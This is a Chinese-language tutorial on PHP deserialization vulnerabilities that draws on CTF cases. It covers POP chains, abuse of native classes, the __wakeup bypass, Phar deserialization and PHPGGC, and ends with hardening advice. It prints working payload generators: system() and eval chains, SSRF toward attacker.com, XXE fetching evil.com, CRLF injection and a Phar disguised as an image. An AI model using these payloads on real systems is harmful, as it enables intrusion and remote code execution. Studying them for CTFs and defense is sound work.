web安全-PHP反序列化漏洞

前言

PHP反序列化漏洞是Web安全领域中最具威胁性的漏洞类型之一。与SQL注入、XSS等常见漏洞不同,反序列化漏洞往往能直接导致远程代码执行(RCE),获取服务器权限。本文将系统性地讲解PHP反序列化漏洞的基础概念、魔术方法、POP链构造、原生类利用、高级绕过技巧以及Phar反序列化等知识,帮助你建立起完整的知识体系。


第一部分:基础概念与核心原理

1.1 什么是序列化与反序列化

序列化(Serialization):将PHP对象转换为可存储或传输的字符串格式的过程,使用serialize()函数。

反序列化(Unserialization):将序列化字符串还原为PHP对象的过程,使用unserialize()函数。

漏洞本质:当应用程序反序列化用户可控的数据时,攻击者可以控制对象的属性值,从而在反序列化过程中或之后,通过魔术方法触发恶意代码执行。

1.2 序列化字符串格式
// 一个简单的类 class User { public $name = 'admin'; public $age = 18; } // 序列化后的字符串 O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}

格式解析

  • O:4:"User":对象,类名长度为4,类名为User
  • :2:有2个属性
  • {}:属性键值对
  • s:4:"name":字符串属性名,长度为4
  • s:5:"admin":字符串属性值,长度为5
  • i:18:整数属性值
1.3 访问修饰符对序列化格式的影响

不同访问修饰符在序列化字符串中会引入不可见字符:

修饰符

序列化格式

示例

public

直接显示属性名

s:4:"name"

protected

添加\0*\0前缀

s:7:"\0*\0age"

private

添加\0类名\0前缀

s:11:"\0User\0pwd"

⚠️ 这些不可见字符(\0,ASCII 0)在某些场景下会影响反序列化的成功与否,尤其在存在过滤时需要注意。


第二部分:PHP魔术方法详解

魔术方法是PHP对象生命周期中的特殊方法,在反序列化漏洞中常作为攻击入口或POP链的跳板。

魔术方法

触发时机

典型利用场景

__construct()

对象实例化(new)时自动调用

注意:反序列化时不会自动调用此方法

__destruct()

对象被销毁时自动调用(如脚本结束)

最常用的利用点,若包含文件操作、命令执行等危险函数,可控制属性触发

__wakeup()

反序列化时自动调用

直接利用点,常用于重新连接资源,若存在漏洞可被利用

__sleep()

序列化时自动调用

攻击者较少控制序列化过程,但可能影响后续反序列化

__toString()

对象被当作字符串使用时触发(如echo $obj

常用于构造POP链读取文件或SSRF

__invoke()

以函数方式调用对象时触发($obj()

当对象被当作回调函数时触发,可执行任意代码

__call()

调用不存在的方法时触发

可用于动态调用方法,绕过方法名过滤

__callStatic()

调用不存在的静态方法时触发

同上,静态上下文

__get()

读取不可访问属性时触发

可用来获取敏感数据或动态执行代码

__set()

设置不可访问属性时触发

可用来拦截属性赋值,可能触发危险操作

重点:反序列化漏洞的利用通常从__wakeup()__destruct()等自动触发的方法开始,然后通过POP链跳转到其他类的危险方法。


第三部分:POP链构造原理与方法

3.1 什么是POP链

POP(Property-Oriented Programming):面向属性编程,通过控制对象的属性,将多个类的方法调用串联起来,最终到达危险函数。

3.2 构造步骤
  1. 寻找起点:魔术方法(如__wakeup__destruct)中调用了其他类的方法或属性。
  2. 寻找跳板:普通方法中调用了其他类的方法,且参数可控。
  3. 寻找终点:最终执行敏感操作的方法(如systemevalfile_put_contents等)。
  4. 构造链:从起点到终点,将所有需要调用的类和属性串联起来,生成序列化数据。
3.3 简单示例
class A { public $b; public function __destruct() { $this->b->action(); } } class B { public $cmd; public function action() { system($this->cmd); } } // POP链:A::__destruct() → B::action() → system() $payload = new A(); $payload->b = new B(); $payload->b->cmd = "id"; echo serialize($payload);

第四部分:原生类利用

当目标代码没有自定义类时,攻击者仍可利用PHP内置原生类的魔术方法实现攻击。

4.1 可利用原生类一览表

原生类

触发条件

主要风险

依赖扩展

Exception/Error

__toString被调用

XSS、信息泄露

核心类,默认可用

SoapClient

__call被调用(调用不存在的方法)

SSRF、任意请求

需启用php_soap扩展

SimpleXMLElement

__construct(反序列化时自动调用)

XXE、文件读取

需启用libxml扩展

DirectoryIterator/FilesystemIterator

__construct

目录遍历、文件列表

需启用SPL扩展(默认开启)

SplFileObject

__construct

文件读取

需启用SPL扩展

4.2 Exception / Error → XSS / 信息泄露

原理Exception::__toString()返回异常信息,攻击者可控制消息内容注入HTML/JavaScript。

<?php $a = new Exception("<script>alert('XSS')</script>"); echo urlencode(serialize($a)); ?>
4.3 SoapClient → SSRF

原理SoapClient::__call会发起SOAP请求,可控制locationuri参数实现SSRF。

<?php $client = new SoapClient(null, [ 'location' => 'http://attacker.com/ssrf', 'uri' => 'http://attacker.com/' ]); echo urlencode(serialize($client)); ?>

进阶:CRLF注入(CTFSHOW-259)

<?php $ua = "aaa\r\nX-Forwarded-For:127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null, [ 'uri' => 'http://127.0.0.1/', 'location' => 'http://127.0.0.1/flag.php', 'user_agent' => $ua ]); echo urlencode(serialize($client)); ?>
4.4 SimpleXMLElement → XXE
<?php $xml = 'http://evil.com/oob.xml'; $sxe = new SimpleXMLElement($xml, LIBXML_NOENT, true); echo serialize($sxe); ?>

第五部分:高级利用技巧

5.1 CVE-2016-7124(__wakeup 绕过)

影响版本:PHP 5 < 5.6.25,PHP 7 < 7.0.10

原理:当序列化字符串中表示属性个数的值大于实际属性个数时,会跳过__wakeup()的执行。

利用方法

原始:O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"123";} 修改:O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";s:3:"123";}
5.2 字符增多/减少逃逸

原理:当序列化字符串经过过滤(如替换字符)导致长度变化时,可利用长度变化逃逸出新的属性,修改对象结构。

字符增多逃逸示例

假设过滤函数将a替换为aa

原始:O:4:"User":2:{s:3:"foo";s:3:"bar";s:3:"baz";s:3:"qux";} 替换后:O:4:"User":2:{s:3:"foo";s:4:"baar";s:3:"baz";s:3:"qux";}

通过精心构造,可使后续属性被覆盖,实现属性注入。

5.3 PHP版本属性解析差异

问题:protected和private属性序列化后包含\0(ASCII 0)不可见字符,某些过滤函数(如检查ASCII码范围)会拦截。

绕过:将所有属性改为public,避免产生不可见字符。

public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";

第六部分:Phar反序列化

6.1 核心原理

Phar反序列化是一种无需unserialize()函数即可触发反序列化的利用方式。

触发点:当PHP文件系统函数(如file_exists()file_get_contents()等)通过phar://伪协议解析Phar文件时,会自动反序列化其中的meta-data内容。

受影响的函数(不完全列表):

  • 文件包含:includerequireinclude_oncerequire_once
  • 文件系统:file_existsfile_get_contentsfile_put_contentsfopencopyunlinkrenamestatis_fileis_dirmd5_filefilesize
  • 目录操作:opendirreaddirscandir
  • 图像函数:getimagesize
6.2 利用条件
  1. 可上传Phar文件(可改后缀名,如.jpg.pdf
  2. 存在受影响的文件操作函数,且参数可控
  3. 存在可利用的魔术方法
6.3 生成Phar文件
<?php // 需在 php.ini 中设置 phar.readonly = Off class Flag { public $code; public function __destruct() { eval($this->code); } } $a = new Flag(); $a->code = "system('cat /flag');"; $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); // 可重命名为 exp.jpg 绕过上传限制 rename("exp.phar", "exp.jpg"); ?>
6.4 触发方式
?file=phar://uploads/exp.jpg/test.txt
6.5 绕过限制技巧
  • 后缀检查:Phar文件可重命名为任意后缀
  • 文件头检查:可在Phar文件前添加图片头(如GIF89a
  • __wakeup绕过:结合CVE-2016-7124

第七部分:工具与框架利用

7.1 PHPGGC

PHPGGC(PHP Generic Gadget Chains):包含众多PHP框架和库的反序列化利用链的工具。

安装

git clone https://github.com/ambionics/phpggc.git cd phpggc

基本使用

./phpggc -l # 列出所有可用链 ./phpggc ThinkPHP/RCE1 system 'id' # 生成ThinkPHP RCE payload ./phpggc -u ThinkPHP/RCE1 system 'id' # URL编码 ./phpggc --base64 ThinkPHP/RCE1 system 'id' # Base64编码

支持的框架:ThinkPHP、Laravel、Yii、Symfony、WordPress、Drupal、Magento等。

7.2 框架利用实战

框架

PHPGGC链

命令示例

ThinkPHP V6.0.X

ThinkPHP/RCE4

./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

Yii2

Yii2/RCE1

./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64

Laravel

Laravel/RCE2

./phpggc Laravel/RCE2 system "id" --url


第八部分:CTF实战案例解析

8.1 [极客大挑战 2019]PHP(CVE-2016-7124绕过)

场景__wakeup强制修改username,通过修改属性个数绕过。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
8.2 CTFSHOW-258(正则绕过)

在257基础上,将序列化字符串中的类名长度O:11改为O:+11,绕过preg_match('/O:\d+/', $data)

8.3 CTFSHOW-259(SoapClient CRLF注入)

通过user_agent注入CRLF,添加自定义Header,绕过限制访问/flag.php

8.4 [HNCTF 2022 WEEK3]ez_phar(Phar反序列化)

上传Phar文件(改后缀为jpg),通过文件包含点触发反序列化:

?file=phar://uploads/exp.jpg/test.txt
8.5 [安洵杯 2019]iamthinking(ThinkPHP反序列化)

使用PHPGGC生成ThinkPHP/RCE4链:

./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

第九部分:渗透测试检查清单

9.1 基础检测
  • 寻找unserialize()入口点(Cookie、POST参数、GET参数)
  • 识别序列化数据特征(O:开头或Base64编码)
  • 分析代码中的魔术方法(__destruct__wakeup等)
  • 检查PHP版本,判断是否存在CVE-2016-7124
9.2 高级检测
  • 寻找文件上传点,测试Phar反序列化
  • 检查文件操作函数参数是否可控
  • 识别框架版本,使用PHPGGC生成payload
  • 测试原生类利用(Exception、SoapClient、SimpleXMLElement)
9.3 绕过检测
  • 测试属性个数绕过(CVE-2016-7124)
  • 测试正则绕过(O:+11
  • 测试字符逃逸(增多/减少)
  • 测试不可见字符绕过(public替代protected/private)

第十部分:安全加固建议

  1. 尽量避免使用unserialize()处理用户输入,改用JSON等安全格式
  2. 设置allowed_classes白名单
unserialize($data, ['allowed_classes' => ['MyClass']]);
  1. 禁用危险扩展:如非必要,禁用soap扩展
  2. 禁用phar://协议或对phar文件进行校验
  3. 升级PHP版本,修复已知漏洞
  4. 关闭错误显示,防止信息泄露
  5. 合理配置session.serialize_handler,避免Session注入
  6. 对上传文件严格校验:不仅检查后缀,还要检查文件内容

总结

PHP反序列化漏洞的利用高度依赖目标环境的上下文。在渗透测试中,需要:

  1. 敏锐识别:发现序列化数据的踪迹
  2. 灵活组合:将多种技巧(POP链、原生类、Phar、绕过)组合使用
  3. 善用工具:利用PHPGGC等工具快速生成payload
  4. 本地调试:搭建与目标相同的PHP版本环境,验证payload

掌握这些知识和技巧,能帮助你在实战中有效发现和利用PHP反序列化漏洞。如果你在特定框架或场景中遇到问题,欢迎进一步探讨!


(完)